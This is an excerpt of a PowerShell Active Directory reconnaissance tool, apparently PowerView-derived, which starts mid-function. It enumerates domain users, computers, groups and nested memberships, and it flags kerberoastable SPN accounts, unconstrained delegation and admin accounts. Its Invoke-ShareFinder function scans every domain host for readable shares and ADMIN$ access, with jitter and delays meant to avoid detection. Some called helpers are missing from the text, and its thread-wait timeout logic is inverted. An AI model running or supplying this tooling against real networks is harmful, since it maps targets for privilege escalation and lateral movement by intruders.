    $EnumType = $Type -as [Type]

    $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)

    if ($Bitfield)
    {
        $FlagsConstructor = [FlagsAttribute].GetConstructor(@())
        $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())
        $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
    }

    ForEach ($Key in $EnumElements.Keys)
    {
        $Null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)
    }

    $EnumBuilder.CreateType()
}

$Mod = New-InMemoryModule -ModuleName Win32

# all of the Win32 API functions we need
$FunctionDefinitions = @(
    (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
    (func netapi32 NetApiBufferFree ([Int]) @([IntPtr]))
)

$SHARE_INFO_1 = struct $Mod SHARE_INFO_1 @{
    shi1_netname = field 0 String -MarshalAs @('LPWStr')
    shi1_type = field 1 UInt32
    shi1_remark = field 2 String -MarshalAs @('LPWStr')
}

$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
$Netapi32 = $Types['netapi32']

function Get-NetDomain {
    [CmdletBinding()]
    param(
        [Parameter(ValueFromPipeline=$True)]
        [String]
        $Domain
    )

    process {
        if($Domain) {
            $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
            try {
                [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
            }
            catch {
                Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust."
                $Null
            }
        }
        else {
            [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
        }
    }
}


function Get-DomainSearcher {
    [CmdletBinding()]
    param(
        [String]
        $Domain,

        [String]
        $DomainController,

        [String]
        $ADSpath,

        [String]
        $ADSprefix,

        [ValidateRange(1,10000)]
        [Int]
        $PageSize = 200
    )

    if(!$Domain) {
        $Domain = (Get-NetDomain).name
    }
    else {
        if(!$DomainController) {
            try {
                $DomainController = ((Get-NetDomain).PdcRoleOwner).Name
            }
            catch {
                throw "Get-DomainSearcher: Error in retrieving PDC for current domain"
            }
        }
    }

    $SearchString = "LDAP://"

    if($DomainController) {
        $SearchString += $DomainController + "/"
    }
    if($ADSprefix) {
        $SearchString += $ADSprefix + ","
    }

    if($ADSpath) {
        if($ADSpath -like "GC://*") {
            $DistinguishedName = $AdsPath
            $SearchString = ""
        }
        else {
            if($ADSpath -like "LDAP://*") {
                $ADSpath = $ADSpath.Substring(7)
            }
            $DistinguishedName = $ADSpath
        }
    }
    else {
        $DistinguishedName = "DC=$($Domain.Replace('.', ',DC='))"
    }

    $SearchString += $DistinguishedName
    Write-Verbose "Get-DomainSearcher search string: $SearchString"

    $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
    $Searcher.PageSize = $PageSize
    $Searcher
}

function Get-NetUser {

    [CmdletBinding()]
    param(
        [Parameter(ValueFromPipeline=$True)]
        [String]
        $UserName,

        [String]
        $Domain,

        [String]
        $DomainController,

        [String]
        $ADSpath,

        [String]
        $Filter,

        [Switch]
        $SPN,

        [Switch]
        $AdminCount,

        [Switch]
        $Unconstrained,

        [Switch]
        $AllowDelegation,

        [ValidateRange(1,10000)]
        [Int]
        $PageSize = 200
    )

    begin {
        $UserSearcher = Get-DomainSearcher -Domain $Domain -ADSpath $ADSpath -DomainController $DomainController -PageSize $PageSize
    }

    process {
        if($UserSearcher) {

            if($Unconstrained) {
                Write-Verbose "Checking for unconstrained delegation"
                $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
            }
            if($AllowDelegation) {
                Write-Verbose "Checking for users who can be delegated"
                $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))"
            }
            if($AdminCount) {
                Write-Verbose "Checking for adminCount=1"
                $Filter += "(admincount=1)"
            }

            if($UserName) {
                $UserSearcher.filter="(&(samAccountType=805306368)(samAccountName=$UserName)$Filter)"
            }
            elseif($SPN) {
                $UserSearcher.filter="(&(samAccountType=805306368)(servicePrincipalName=*)$Filter)"
            }
            else {
                $UserSearcher.filter="(&(samAccountType=805306368)$Filter)"
            }

            $UserSearcher.FindAll() | Where-Object {$_} | ForEach-Object {
                Convert-LDAPProperty -Properties $_.Properties
            }
        }
    }
}

function Get-DomainSID {
    param(
        [String]
        $Domain
    )

    $FoundDomain = Get-NetDomain -Domain $Domain

    if($FoundDomain) {
        $PrimaryDC = $FoundDomain.PdcRoleOwner
        $PrimaryDCSID = (Get-NetComputer -Domain $Domain -ComputerName $PrimaryDC -FullData).objectsid
        $Parts = $PrimaryDCSID.split("-")
        $Parts[0..($Parts.length -2)] -join "-"
    }
}

function Get-NetComputer {

    [CmdletBinding()]
    Param (
        [Parameter(ValueFromPipeline=$True)]
        [Alias('HostName')]
        [String]
        $ComputerName = '*',

        [String]
        $SPN,

        [String]
        $OperatingSystem,

        [String]
        $ServicePack,

        [String]
        $Filter,

        [Switch]
        $Printers,

        [Switch]
        $Ping,

        [Switch]
        $FullData,

        [String]
        $Domain,

        [String]
        $DomainController,

        [String]
        $ADSpath,

        [Switch]
        $Unconstrained,

        [ValidateRange(1,10000)]
        [Int]
        $PageSize = 200
    )

    begin {
        $CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize
    }

    process {

        if ($CompSearcher) {

            if($Unconstrained) {
                Write-Verbose "Searching for computers with for unconstrained delegation"
                $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
            }
            if($Printers) {
                Write-Verbose "Searching for printers"
                $Filter += "(objectCategory=printQueue)"
            }
            if($SPN) {
                Write-Verbose "Searching for computers with SPN: $SPN"
                $Filter += "(servicePrincipalName=$SPN)"
            }
            if($OperatingSystem) {
                $Filter += "(operatingsystem=$OperatingSystem)"
            }
            if($ServicePack) {
                $Filter += "(operatingsystemservicepack=$ServicePack)"
            }

            $CompSearcher.filter = "(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)"

            try {

                $CompSearcher.FindAll() | Where-Object {$_} | ForEach-Object {
                    $Up = $True
                    if($Ping) {
                        $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname
                    }
                    if($Up) {
                        if ($FullData) {
                            Convert-LDAPProperty -Properties $_.Properties
                        }
                        else {
                            $_.properties.dnshostname
                        }
                    }
                }
            }
            catch {
                Write-Warning "Error: $_"
            }
        }
    }
}


function Get-NetGroup {
[CmdletBinding()]
param(
    [Parameter(ValueFromPipeline=$True)]
    [String]
    $GroupName = '*',

    [String]
    $SID,

    [String]
    $UserName,

    [String]
    $Filter,

    [String]
    $Domain,

    [String]
    $DomainController,

    [String]
    $ADSpath,

    [Switch]
    $AdminCount,

    [Switch]
    $FullData,

    [Switch]
    $RawSids,

    [ValidateRange(1,10000)]
    [Int]
    $PageSize = 200
)

begin {
    $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize
}

process {
    if($GroupSearcher) {

        if($AdminCount) {
            Write-Verbose "Checking for adminCount=1"
            $Filter += "(admincount=1)"
        }

        if ($UserName) {
            $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -ReturnRaw -PageSize $PageSize

            $UserDirectoryEntry = $User.GetDirectoryEntry()

            $UserDirectoryEntry.RefreshCache("tokenGroups")

            $UserDirectoryEntry.TokenGroups | Foreach-Object {
                $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value

                if(!($GroupSid -match '^S-1-5-32-545|-513$')) {
                    if($FullData) {
                        Get-ADObject -SID $GroupSid -PageSize $PageSize
                    }
                    else {
                        if($RawSids) {
                            $GroupSid
                        }
                        else {
                            Convert-SidToName $GroupSid
                        }
                    }
                }
            }
        }
        else {
            if ($SID) {
                $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"
            }
            else {
                $GroupSearcher.filter = "(&(objectCategory=group)(name=$GroupName)$Filter)"
            }

            $GroupSearcher.FindAll() | Where-Object {$_} | ForEach-Object {
                if ($FullData) {
                    Convert-LDAPProperty -Properties $_.Properties
                }
                else {
                    $_.properties.samaccountname
                }
            }
        }
    }
}
}

function Get-NetGroupMember {
    [CmdletBinding()]
    param(
        [Parameter(ValueFromPipeline=$True)]
        [String]
        $GroupName,

        [String]
        $SID,

        [String]
        $Domain = (Get-NetDomain).Name,

        [String]
        $DomainController,

        [String]
        $ADSpath,

        [Switch]
        $FullData,

        [Switch]
        $Recurse,

        [Switch]
        $UseMatchingRule,

        [ValidateRange(1,10000)]
        [Int]
        $PageSize = 200
    )

    begin {
        $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize

        if(!$DomainController) {
            $DomainController = ((Get-NetDomain).PdcRoleOwner).Name
        }
    }

    process {

        if ($GroupSearcher) {

            if ($Recurse -and $UseMatchingRule) {
                if ($GroupName) {
                    $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -FullData -PageSize $PageSize
                }
                elseif ($SID) {
                    $Group = Get-NetGroup -SID $SID -Domain $Domain -FullData -PageSize $PageSize
                }
                else {
                    $SID = (Get-DomainSID -Domain $Domain) + "-512"
                    $Group = Get-NetGroup -SID $SID -Domain $Domain -FullData -PageSize $PageSize
                }
                $GroupDN = $Group.distinguishedname
                $GroupFoundName = $Group.name

                if ($GroupDN) {
                    $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupDN)$Filter)"
                    $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName','samaccounttype','lastlogon','lastlogontimestamp','dscorepropagationdata','objectsid','whencreated','badpasswordtime','accountexpires','iscriticalsystemobject','name','usnchanged','objectcategory','description','codepage','instancetype','countrycode','distinguishedname','cn','admincount','logonhours','objectclass','logoncount','usncreated','useraccountcontrol','objectguid','primarygroupid','lastlogoff','samaccountname','badpwdcount','whenchanged','memberof','pwdlastset','adspath'))

                    $Members = $GroupSearcher.FindAll()
                    $GroupFoundName = $GroupName
                }
                else {
                    Write-Error "Unable to find Group"
                }
            }
            else {
                if ($GroupName) {
                    $GroupSearcher.filter = "(&(objectCategory=group)(name=$GroupName)$Filter)"
                }
                elseif ($SID) {
                    $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"
                }
                else {
                    $SID = (Get-DomainSID -Domain $Domain) + "-512"
                    $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"
                }

                $GroupSearcher.FindAll() | ForEach-Object {
                    try {
                        if (!($_) -or !($_.properties) -or !($_.properties.name)) { continue }

                        $GroupFoundName = $_.properties.name[0]
                        $Members = @()

                        if ($_.properties.member.Count -eq 0) {
                            $Finished = $False
                            $Bottom = 0
                            $Top = 0
                            while(!$Finished) {
                                $Top = $Bottom + 1499
                                $MemberRange="member;range=$Bottom-$Top"
                                $Bottom += 1500
                                $GroupSearcher.PropertiesToLoad.Clear()
                                [void]$GroupSearcher.PropertiesToLoad.Add("$MemberRange")
                                try {
                                    $Result = $GroupSearcher.FindOne()
                                    if ($Result) {
                                        $RangedProperty = $_.Properties.PropertyNames -like "member;range=*"
                                        $Results = $_.Properties.item($RangedProperty)
                                        if ($Results.count -eq 0) {
                                            $Finished = $True
                                        }
                                        else {
                                            $Results | ForEach-Object {
                                                $Members += $_
                                            }
                                        }
                                    }
                                    else {
                                        $Finished = $True
                                    }
                                }
                                catch [System.Management.Automation.MethodInvocationException] {
                                    $Finished = $True
                                }
                            }
                        }
                        else {
                            $Members = $_.properties.member
                        }
                    }
                    catch {
                        Write-Verbose $_
                    }
                }
            }

            $Members | Where-Object {$_} | ForEach-Object {
                if ($Recurse -and $UseMatchingRule) {
                    $Properties = $_.Properties
                }
                else {
                    if($DomainController) {
                        $Result = [adsi]"LDAP://$DomainController/$_"
                    }
                    else {
                        $Result = [adsi]"LDAP://$_"
                    }
                    if($Result){
                        $Properties = $Result.Properties
                    }
                }

                if($Properties) {

                    if($Properties.samaccounttype -notmatch '805306368') {
                        $IsGroup = $True
                    }
                    else {
                        $IsGroup = $False
                    }

                    if ($FullData) {
                        $GroupMember = Convert-LDAPProperty -Properties $Properties
                    }
                    else {
                        $GroupMember = New-Object PSObject
                    }

                    $GroupMember | Add-Member Noteproperty 'GroupDomain' $Domain
                    $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName

                    try {
                        $MemberDN = $Properties.distinguishedname[0]

                        $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
                    }
                    catch {
                        $MemberDN = $Null
                        $MemberDomain = $Null
                    }

                    if ($Properties.samaccountname) {
                        $MemberName = $Properties.samaccountname[0]
                    }
                    else {
                        try {
                            $MemberName = Convert-SidToName $Properties.cn[0]
                        }
                        catch {
                            $MemberName = $Properties.cn
                        }
                    }

                    if($Properties.objectSid) {
                        $MemberSid = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectSid[0],0).Value)
                    }
                    else {
                        $MemberSid = $Null
                    }

                    $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain
                    $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName
                    $GroupMember | Add-Member Noteproperty 'MemberSid' $MemberSid
                    $GroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup
                    $GroupMember | Add-Member Noteproperty 'MemberDN' $MemberDN
                    $GroupMember

                    if ($Recurse -and !$UseMatchingRule -and $IsGroup -and $MemberName) {
                        Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $DomainController -GroupName $MemberName -Recurse -PageSize $PageSize
                    }
                }

            }
        }
    }
    }

function Get-NetShare {
    [CmdletBinding()]
    param(
        [Parameter(ValueFromPipeline=$True)]
        [Alias('HostName')]
        [String]
        $ComputerName = 'localhost'
    )

    begin {
        if ($PSBoundParameters['Debug']) {
            $DebugPreference = 'Continue'
        }
    }

    process {

        $ComputerName = Get-NameField -Object $ComputerName

        $QueryLevel = 1
        $PtrInfo = [IntPtr]::Zero
        $EntriesRead = 0
        $TotalRead = 0
        $ResumeHandle = 0

        $Result = $Netapi32::NetShareEnum($ComputerName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)

        $Offset = $PtrInfo.ToInt64()

        Write-Debug "Get-NetShare result: $Result"

        if (($Result -eq 0) -and ($Offset -gt 0)) {

            $Increment = $SHARE_INFO_1::GetSize()

            for ($i = 0; ($i -lt $EntriesRead); $i++) {
                $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
                $Info = $NewIntPtr -as $SHARE_INFO_1
                $Info | Select-Object *
                $Offset = $NewIntPtr.ToInt64()
                $Offset += $Increment
            }

            $Null = $Netapi32::NetApiBufferFree($PtrInfo)
        }
        else
        {
            switch ($Result) {
                (5)           {Write-Debug 'The user does not have access to the requested information.'}
                (124)         {Write-Debug 'The value specified for the level parameter is not valid.'}
                (87)          {Write-Debug 'The specified parameter is not valid.'}
                (234)         {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'}
                (8)           {Write-Debug 'Insufficient memory is available.'}
                (2312)        {Write-Debug 'A session does not exist with the computer name.'}
                (2351)        {Write-Debug 'The computer name is not valid.'}
                (2221)        {Write-Debug 'Username not found.'}
                (53)          {Write-Debug 'Hostname could not be found'}
            }
        }
    }
    }


function Get-NameField {

    [CmdletBinding()]
    param(
        [Parameter(Mandatory=$True,ValueFromPipeline=$True)]
        $Object
    )
    process {
        if($Object) {
            if ( [bool]($Object.PSobject.Properties.name -match "dnshostname") ) {
                $Object.dnshostname
            }
            elseif ( [bool]($Object.PSobject.Properties.name -match "name") ) {
                $Object.name
            }
            else {
                $Object
            }
        }
        else {
            return $Null
        }
    }
    }

function Invoke-ShareFinder {
    [CmdletBinding()]
    param(
        [Parameter(Position=0,ValueFromPipeline=$True)]
        [Alias('Hosts')]
        [String[]]
        $ComputerName,

        [ValidateScript({Test-Path -Path $_ })]
        [Alias('HostList')]
        [String]
        $ComputerFile,

        [String]
        $ComputerFilter,

        [String]
        $ComputerADSpath,

        [Switch]
        $ExcludeStandard,

        [Switch]
        $ExcludePrint,

        [Switch]
        $ExcludeIPC,

        [Switch]
        $NoPing,

        [Switch]
        $CheckShareAccess,

        [Switch]
        $CheckAdmin,

        [UInt32]
        $Delay = 0,

        [Double]
        $Jitter = .3,

        [String]
        $Domain,

        [String]
        $DomainController,

        [Switch]
        $SearchForest,

        [ValidateRange(1,100)]
        [Int]
        $Threads
    )

    begin {
        if ($PSBoundParameters['Debug']) {
            $DebugPreference = 'Continue'
        }

        $RandNo = New-Object System.Random

        Write-Verbose "[*] Running with delay of $Delay"

        [String[]] $ExcludedShares = @('')

        if(!$ComputerName) {

            if($Domain) {
                $TargetDomains = @($Domain)
            }
            elseif($SearchForest) {
                $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }
            }
            else {
                $TargetDomains = @( (Get-NetDomain).name )
            }

            if($ComputerFile) {
                $ComputerName = Get-Content -Path $ComputerFile
            }
            else {
                [array]$ComputerName = @()
                ForEach ($Domain in $TargetDomains) {
                    Write-Verbose "[*] Querying domain $Domain for hosts"
                    $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath
                }
            }

            $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }
            if($($ComputerName.count) -eq 0) {
                throw "No hosts found!"
            }
        }

        $HostEnumBlock = {
            param($ComputerName, $Ping, $CheckShareAccess, $ExcludedShares, $CheckAdmin)

            $Up = $True
            if($Ping) {
                $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName
            }
            if($Up) {
                $Shares = Get-NetShare -ComputerName $ComputerName
                ForEach ($Share in $Shares) {
                    Write-Debug "[*] Server share: $Share"
                    $NetName = $Share.shi1_netname
                    $Remark = $Share.shi1_remark
                    $Path = '\\'+$ComputerName+'\'+$NetName

                    if (($NetName) -and ($NetName.trim() -ne '')) {
                        if($CheckAdmin) {
                            if($NetName.ToUpper() -eq "ADMIN$") {
                                try {
                                    $Null = [IO.Directory]::GetFiles($Path)
                                    "\\$ComputerName\$NetName `t- $Remark"
                                }
                                catch {
                                    Write-Debug "Error accessing path $Path : $_"
                                }
                            }
                        }
                        elseif ($ExcludedShares -NotContains $NetName.ToUpper()) {
                            if($CheckShareAccess) {
                                try {
                                    $Null = [IO.Directory]::GetFiles($Path)
                                    "\\$ComputerName\$NetName `t- $Remark"
                                }
                                catch {
                                    Write-Debug "Error accessing path $Path : $_"
                                }
                            }
                            else {
                                "\\$ComputerName\$NetName `t- $Remark"
                            }
                        }
                    }
                }
            }
        }

    }

    process {

        if($Threads) {
            Write-Verbose "Using threading with threads = $Threads"

            $ScriptParams = @{
                'Ping' = $(-not $NoPing)
                'CheckShareAccess' = $CheckShareAccess
                'ExcludedShares' = $ExcludedShares
                'CheckAdmin' = $CheckAdmin
            }

            Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams
        }

        else {
            if(-not $NoPing -and ($ComputerName.count -ne 1)) {
                $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
                $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100
            }

            Write-Verbose "[*] active hosts: $($ComputerName.count)"
            $Counter = 0

            ForEach ($Computer in $ComputerName) {

                $Counter = $Counter + 1

                Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)

                Write-Verbose "[*] server $Computer ($Counter of $($ComputerName.count))"
                Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $CheckShareAccess, $ExcludedShares, $CheckAdmin
            }
        }

    }
}

function Invoke-ThreadedFunction {
# Helper used by any threaded host enumeration functions
[CmdletBinding()]
param(
    [Parameter(Position=0,Mandatory=$True)]
    [String[]]
    $ComputerName,

    [Parameter(Position=1,Mandatory=$True)]
    [System.Management.Automation.ScriptBlock]
    $ScriptBlock,

    [Parameter(Position=2)]
    [Hashtable]
    $ScriptParameters,

    [Int]
    $Threads = 20,

    [Switch]
    $NoImports
)

begin {

    if ($PSBoundParameters['Debug']) {
        $DebugPreference = 'Continue'
    }

    Write-Verbose "[*] hosts: $($ComputerName.count)"

    $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()
    $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState()

    if(!$NoImports) {

        $MyVars = Get-Variable -Scope 2

        $VorbiddenVars = @("")

        ForEach($Var in $MyVars) {
            if($VorbiddenVars -NotContains $Var.Name) {
            $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes))
            }
        }

        ForEach($Function in (Get-ChildItem Function:)) {
            $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition))
        }
    }

    $Pool = [runspacefactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host)
    $Pool.Open()

    $Jobs = @()
    $PS = @()
    $Wait = @()

    $Counter = 0
}

process {

    ForEach ($Computer in $ComputerName) {

        if ($Computer -ne '') {
            While ($($Pool.GetAvailableRunspaces()) -le 0) {
                Start-Sleep -MilliSeconds 500
            }

            $PS += [powershell]::create()

            $PS[$Counter].runspacepool = $Pool

            $Null = $PS[$Counter].AddScript($ScriptBlock).AddParameter('ComputerName', $Computer)
            if($ScriptParameters) {
                ForEach ($Param in $ScriptParameters.GetEnumerator()) {
                    $Null = $PS[$Counter].AddParameter($Param.Name, $Param.Value)
                }
            }

            $Jobs += $PS[$Counter].BeginInvoke();

            $Wait += $Jobs[$Counter].AsyncWaitHandle
        }
        $Counter = $Counter + 1
    }
}

end {

    Write-Verbose "Waiting for scanning threads to finish..."

    $WaitTimeout = Get-Date

    while ($($Jobs | Where-Object {$_.IsCompleted -eq $False}).count -gt 0 -or $($($(Get-Date) - $WaitTimeout).totalSeconds) -gt 60) {
            Start-Sleep -MilliSeconds 500
        }

    for ($y = 0; $y -lt $Counter; $y++) {

        try {
            $PS[$y].EndInvoke($Jobs[$y])

        } catch {
            Write-Warning "error: $_"
        }
        finally {
            $PS[$y].Dispose()
        }
    }

    $Pool.Dispose()
    Write-Verbose "All threads completed!"
}
}

Last updated